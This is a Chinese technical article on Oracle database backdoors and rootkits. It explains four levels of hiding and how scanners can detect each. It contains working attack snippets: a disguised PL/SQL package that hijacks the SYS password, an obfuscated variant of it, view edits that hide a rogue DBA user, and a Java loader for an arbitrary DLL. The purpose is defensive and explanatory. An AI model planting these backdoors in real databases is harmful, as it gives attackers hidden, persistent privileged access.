主题简介:
- Backdoor(后门)、Rootkit、Vulnerability分别在攻击中扮演的角色。
- 攻击者可能使用的Oracle Rootkit技术种类。
- 综述数据库漏扫工具现阶段能识别的Rootkit类型,提出使其识别更多rootkit类型的建议。
一、Vulnerability 、Backdoor、Rootkit
一场策划有序的入侵行动中,黑客组织常常会找到网站、操作系统、系统软件上的Vulnerability(弱点),有针对性地开展一系列组合攻击,最终达到控制数据库或操作系统的目的。
如果是政府或财团支持的黑客组织可能不会急于盗取数据库中的敏感信息进行变现,而选择在目标数据库中进行长期潜伏。一方面等待敏感信息价值和数量的增长,另一方面可以摸清整个网络、系统的防护架构和审计能力。防止在盗取敏感数据时,留下特征和证据,以免被对方发现。
这样的一起黑客入侵事件可还原为以下流程图:
黑客第一次潜入会使用各种0 day Vulnerability,但对于定期更新补丁的目标系统,一些0 day Vulnerability将会失去作用。为了能够持续发起对数据库的攻击,黑客会在第一次入侵成功后,在数据库中安插Backdoor(后门)。Backdoor成为黑客组织持续入侵数据库的关键。
Backdoor本身有多种形式,有可能是DBA账号、存储过程、函数、视图等,但Backdoor本身可能被一些专业的数据库扫描软件所发现。为了把Backdoor的痕迹抹掉,出现了一种技术——Rootkit。Rootkit好比是Backdoor的隐身衣,躲过扫描工具的检测。
在入侵过程中,黑客通过Vulnerability成功入侵目标系统内部,夺取数据库权限。Backdoor负责为黑客后续的攻击行为提供一扇任意门。Rootkit则负责把这道任意门变为隐形模式。Vulnerability、Backdoor和Rootkit三者联合是高级渗透攻击的惯用手段。解决安全问题不光要解决Vulnerability的问题(按时打补丁即可),更重要的是解决Backdoor和Rootkit的存在。能否识破Rootkit的存在,将是数据库扫描类安全产品的核心竞争力之一。
二、Oracle Rootkit详解
通过下面的图,我们对Rootkit技术进行粗浅的分类:
按照Rootkit技术水平可以分成裸奔自救技术、数据库级Rootkit技术、操作系统级Rootkit技术和内存级Rootkit技术。
1、裸奔自救技术
采用这种技术手段的使用者普遍对数据库没有很深入的理解,Backdoor的存在比较容易被发现。
这些存储过程多是由SYSDBA用户创建,大部分具有创建DBA用户或对某些特定表执行操作的功能,并且必然会调用某些高危的谓词或对高危表、视图进行操作。如下例:黑客可以通过传输unlock和lock对SYS用户进行密码修改,从而短暂获得SYS用户的使用权限。通过unlock 把SYS改成指定密码,同时也会存储原来的密码,方便以后进行还原。使用后,再通过lock把SYS的密码改回去,并删除过程中产生的表及表信息,抹除痕迹。
下面是上述过程的还原:
。。。。。。。。。。
CREATE OR REPLACE PACKAGE BODY dbms_xml AS
PROCEDURE parse (string IN VARCHAR2) IS
var1 VARCHAR2 (100);
BEGIN
IF string = 'unlock' THEN
SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = 'SYS'; --11开始需要从sys.user中拿到密码dba_users已经没密码了做过测试拿不出来
EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))';
EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')';
COMMIT;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack';
END IF;
IF string = 'lock' THEN
EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||'''';
EXECUTE IMMEDIATE 'DROP TABLE syspa1';
END IF;
。。。。。。
这种Backdoor如果固化成工具包,名称都不会改变,只要在sys.dba_procedures中查询对应的包名就很容易抓出来。如果不是已知Backdoor,在sys.source$中查询某些可能被黑客利用的语法结构也能排查出Backdoor。例如查询ALTER USER这个关键权限,则可以发现dbms_xml中包含了ALTER USER。打开dbms_xml进行简单检查就会发现其中的问题。
上壳
上面的Backdoor实在裸奔得厉害,于是黑客会考虑对Backdoor进行“加壳“(加密)。关于如何加壳有这样2种思路,一是自己写个函数对真正执行的函数加密,即手工加密,另一种是利用数据库提供的加密函数进行加密。
手工加密通常依托于Oracle的字符串置换和加密函数(TRANSLATE)。下图中使用的是TRANSLATE,这个函数负责进行字符串转换。转换后,单纯对sys.source$进行特定语法查询是无法查出这个Backdoor的。如下图示例:
。。。。。。
FUNCTION conv (input IN VARCHAR2)
RETURN VARCHAR2
IS
x VARCHAR2 (300);
BEGIN
x :=
TRANSLATE (input,
'ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ',
‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
);
RETURN x;
EXCEPTION
WHEN OTHERS
THEN
RETURN NULL;
END conv;
。。。。。。
。。。。。。
EXECUTE IMMEDIATE conv ('7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717''')INTO var1;
EXECUTE IMMEDIATE conv ('NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))');
EXECUTE IMMEDIATE conv ('GBwKxvZGBvAZwqwzOYZtODuKwZ(''') || var1 || ''')';
COMMIT;
。。。。。。
经过加壳处理后SELECT PASSWORD FROM sys.user$ WHERE name = 'SYS'变成了7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717。这种方式主要为了防止通过关键高危字段检测出Backdoor。虽然通过检查高危谓词或高危语句无法检查出,但Oracle已有的置换字符串函数或加密函数的总数量是有限的。针对这种使用置换字符串或加密函数的存储过程和函数进行查询,顺藤摸瓜可以很快可以找到Backdoor所在。
由于考虑到可能被数据库扫描软件捕获的可能,很多黑客倾向采用Oracle自带的,对整个存储过程进行加密的warp技术。Oracle能内部识别warp加密的内容,且不提供解密函数进行解密。黑客甚至会特别说明这是一个系统自带包,以此混淆管理员的判断,但事实上,已经有相当一部分安全厂商完全掌握了warp技术的加解密原理,并且在安全产品中加入了warp还原的能力。真正具备warp还原能力的安全产品,会在warp解密后,立即检测出Backdoor的“尾巴”。
2、数据库级Rootkit技术
数据库级的Rootkit技术,在主流数据库Backdoor手段中采用最为广泛,因为其更便于实施,且行为足够隐蔽,具有数据库权限即可完成所有Rootkit。
Rootkit的整体思路分为两种:
- 第一种是改变访问路径:通俗说就是你以为你访问的是A,其实你访问的是B。
- 第二种思路是隐藏Backdoor:由于大部分安全产品进行检查都在视图层,而视图层有很多可隐藏Backdoor的手段。我们使用一组DBA用户进行举例说明,黑客A夺取SYSDBA权限后,创建DBA用户hacker/hacker。并使用RootKit技术使hacker这个用户无法被查出。非法DBA用户hacker/hacker就是这个Backdoor。
(1)换路径
换路径的思路相对比较老,主要在Oracle 9i中可以使用。手段是利用synonym创建同名视图,例如:想查询有哪些用户,安全产品通常使用Select username from dba_users这样的语句;很容易发现hacker用户。但如果查询到的是我们自己创造的假dba_users,那隐蔽hacker用户就很简单了。
如何能用户访问到假的dba_users?这和Oracle 在找目标时的顺序密切相关。Oracle会先在当前用户下寻找是否有,如果没有就去private Synonyms中寻找,再找不到才会去public Synonyms中寻找。黑客会利用Creating or modify a public synonym pointing to a different object,把自己定义的视图别名成SYS.dba_user来欺骗查询的安全产品。
(2)修改视图
修改视图的思路是根据换路径的思路延展开来,但使用面最广泛,Oracle全版本通用。既然要做假视图,改路径,还不如直接对视图本身动手。
下图是all_users的视图内容:
create or replace view all_users
(username, user_id, created)
as
select u.name, u.user#, u.ctime
from sys.user$ u, sys.ts$ dts, sys.ts$ tts
where u.datats# = dts.ts#
and u.tempts# = tts.ts#
and u.type# = 1;
comment on table ALL_USERS is 'Information about all users of the database';
comment on column ALL_USERS.USERNAME is 'Name of the user';
comment on column ALL_USERS.USER_ID is 'ID number of the user';
comment on column ALL_USERS.CREATED is 'User creation date';
图中标红的地方是这个视图的条件判定,如果我们在这个条件中再加一条and u.name !=''HACKER'',再重建这个视图通过Select * from all_users;就再也无法查询出HACKER用户了。类似的情况不单独发生在视图all_users上,类似的还有常用来查询的dba_users、v$session,、gv_$session、flow_sessions、v_$process、dba_jobs等,这些都可以通过这种方式隐藏掉非法用户以及非法用户创建的各种视图、函数等。
在这种方式的基础上随着对视图内容的深入理解,还可以通过不满足视图中的判断条件,来使用目标隐身。
例如在ALL_users中列出的用户需要满足sys.user$.datats = sys.ts$.ts#。如果我们让这个等式不成立那hacker也就不会被显示出来。DATATS#中的数值一般在0-4之间,使用update语句对hacker用户进行调整,把他的DATATS#改到1337,不在0-4的范围内。这样sys.user$.datats = sys.ts$.ts#的等式无法成立,就查询不到hacker。下图中红线的部分很明显的显示虽然hacker已经查询不到,但依旧可以用hacker进行登录。
3、操作系统级Rootkit技术
操作系统级Rootkit技术,额外需要操作系统权限。权限至少是Oracle用户的权限。思路主要可以分成三类:
- 替换文件:利用某些关键操作前的文件替换操作后的文件,实现只有在基表层有记录的目的。
- 修改二进制文件:这个主要是修改Oracle文件的某些判定逻辑。
- 构建调用方式,调用外部动态库:Oracle数据库支持多种语言,通过这些语言直接在数据库中构建调用本地操作系统中的动态库。这些动态库中有需要使用的Backdoor。
(1)替换文件
替换文件的思路是用某些操作前的文件覆盖操作后的文件。使得操作只有部分生效,从而达到隐藏Backdoor的目的。其中比较常见的是Oracle home/dbs/下orapworcl文件的替换。我们还是使用hacker/hacker的例子。
假如我们创建了DBA用户hacker。后把文件orapworcl备份下来,接着用drop user hacker cascade;对用户hacker进行彻底删除。删除后再把备份的orapworcl重新拷回替换新生成的orapworcl。这时候在SYS.USER$层验证会发现hacker已经消失了。但如果使用hacker/hacker还是可以以DBA身份登陆到数据库中。
这种方式虽然可以逃过SYS.USER$层的验证,但如果查询基表x$kzsrt还是可以发现hacker用户的行踪。
可以看到删除hacker用户后,把orapworcl拷贝回去hacker依旧可以登陆。SYS.user$中得记录被清除,但追到最终得基表x$kzsrt 发现其实hacker还在。有效的隐藏了hacker的存在。
(2)二进制文件
二进制文件的思路主要是两种:
第一种的本质是通过改变路径,使访问者访问到错误的目标。另一种是改变二进制中的判断条件,隐藏Backdoor,这可以看作是数据库级Rootkit的升级版。
第一种方式中,在Oracle文件中查询sys.user$,可以发现如下语句:
如果我们把作为查询目标的sys.user$,改成我们自己创建的SYS.aser$,我们就可以掌控呈现何种查询结果。
在Oracle文件中找到sys.user$,替换成我们的SYS.aser$。这样,用户以为查询的是sys.user$,但实际上查询的是SYS.aser$,即可实现隐藏Backdoor的目的。
除了改路径外,还可能出现改变查询的条件语句。我们回到Oracle中查看,会发现如下代码:
上图中可以看到关键语句:
select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where valid=1 and username != 'INTERNAL'
同样把这句改成:
select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where username not in('INTERNAL','HACKER')。
就可以达到隐藏hacker用户的目的。
通过修改二进制隐藏Backdoor,只从数据库层去检查是无法发现问题的。必须对操作系统中的Oracle文件进行前后hash比对才能发现问题。二进制文件的方式虽然隐蔽,但最大的问题是,需要做Oracle文件的替换。如果想要替换Oracle文件就必须把整个数据库停掉。在实际操作中需要大量的内部信息,才能有更大胜算。
(3)调用方式
Oracle支持多种语言来写存储过程,并不只限于SQL语句。为了躲避检查,很多有问题的存储过程会通过其它语言编写。大部分语句都支持调用本地某个动态库。如果把Backdoor封装成一个动态库,则可以通过调用的方式把Backdoor加载入内存中,调用执行。例如下面的Java后门就可以达到上述效果。
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVALOADLIB" as
import java.lang.*;
import java.io.*;
public class JAVALOADLIB
{
public static void LoadLibrary(string theLibrary) throws IOException
{
System.load(theLibrary);
}
};
/
CREATE OR REPLACE PROCEDURE JAVALOADLIBPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVALOADLIB.LoadLibrary(java.lang.String)';
/
EXEC JAVALOADLIBPROC('/Oracle/Oracle/product/11.2.0/db_1/ide/lib/hacker.dll');
由于上述过程只是加载动态库,所以很可能DBA自己写的代码中也有类似逻辑,无法在数据库中武断的认为存在Backdoor或被Backdoor所用。这种方式只能通过对hacker.dll的检查进行查找。
4、内存级Rootkit技术
内存级Rootkit技术,主要方式就是把Backdoor隐藏于内存之中。隐藏于内存之中数据库本身基本是无法检查的,必须和操作系统共同合作。这种方式是4种Rootkit技术中最难被发现的,但同样也受内存的限制,一旦重启会直接被清空,需要再次植入。根据Oracle的特性,针对Oracle的内存级Rootkit技术主要可以分为三个大类:
- SGA区的门道;
- oradebug的门道;
- 内存的门道。
(1)SGA区的门道
SGA区是数据库的内存共享区域,在SGA中数据会自动驻留一段时间或人为驻留。这种驻留给Backdoor隐藏带来了可能性。下面示例:我们首先创建一个DBA用户hacker,然后把它藏在内存中。
删除SYS.user$中hacker的记录,只会删除数据库中的hacker,而无法删除SGA中的hacker。无论是查询视图DBA_users还是基表x$kzsrt,都无法发现hacker的踪影。但hacker还是在以DBA权限正常访问数据库。
除去这种自动的在SGA区中驻留的方式外,还可以把存储过程或函数直接手动强行放入SGA区中。使用这种方式不会因为SGA区中数据库的交换,而被剔除。比起上面的方法更加稳定。这源于Oracle提供的dbms_shared_pool.keep。dbms_shared_pool.keep本意是帮助数据库在SGA区中固定某些包,是为了提高工作效率而设计的。而黑客可以利用该函数,把目标包存入数据库中,躲避安全扫描类软件的检查。
(2)Oradebug的门道
Oracle自带一个给Oracle支持人员追踪Oracle深层问题的工具-Oradebug。Oradebug可以对SGA内存中的数据库进行修改。正是这个特点,可以直接对内存中的关键参数进行修改。这里我们用Oradebug修改审计参数为例:原来审计参数是被关闭,现在直接通过Oradebug打开。把目标参数从0改成1即可。
很多变量的参数可以通过类似的方式,在内存中直接定位,然后用Oradebug修改成需要的值。
(3)内存的门道
这个部分需要操作系统的root权限。角度有两种,一种是在内存中发现需要的值(9i版本独有)。另一种则是在内存中修改特定的值(10g的一种漏洞)。简单说这种方式就是在内存中找到需要修改的关键点进行修改。
例如我们在内存中找sysawr的情况:
strings /dev/shm/* | grep 'password' | less
....
m user$ where user#=:1
by sysawr password expire account lock
)change_password_on_first_use in ('Y','N')1
.....
当然不仅仅是找到关键点后进行修改。还可以利用某些漏洞对特定的部分进行整体编码修改,改成黑客掌握的密码。内存中的Backdoor隐蔽性最高,但操作中会有诸多限制,使用并不广泛。
5、小结
上述四种Rootkit技术中,只针对数据库的Backdoor多采用裸奔自救技术或数据库级Rootkit技术。由于这两种技术不像操作系统级Rootkit技术需要比较高的操作系统权限。拿到操作系统权限不会只留下数据库Backdoor,同时操作系统级的Rootkit的检查工作需要针对操作系统的扫描软件辅助。
内存级Rootkit是这四类中最难以被发现的,同时操作难度也是相对最复杂的,很多同样需要操作系统权限。最大的问题是内存类的Rootkit在重启数据库后,会被清空。这和Backdoor需要稳定且长期存在的目的不相符,所以难以广泛使用。
裸奔自救技术或数据库级Rootkit技术,易于实施,需要的权限只局限在数据库中,同时又能提供一定的强度的隐藏Backdoor效果,属于实战中最常用的技巧。除去上文中提到的针对各种Rootkit技术的破解方法。还可以通过对Oracle中的表、存储过程、函数、视图、权限、Java源码等定期做hash计算,验证目标是否发生变化,如果发生变化很可能存在被恶意改写,或修改的行为,那么很可能已经被植入Backdoor。
原文发布时间为:2017-04-21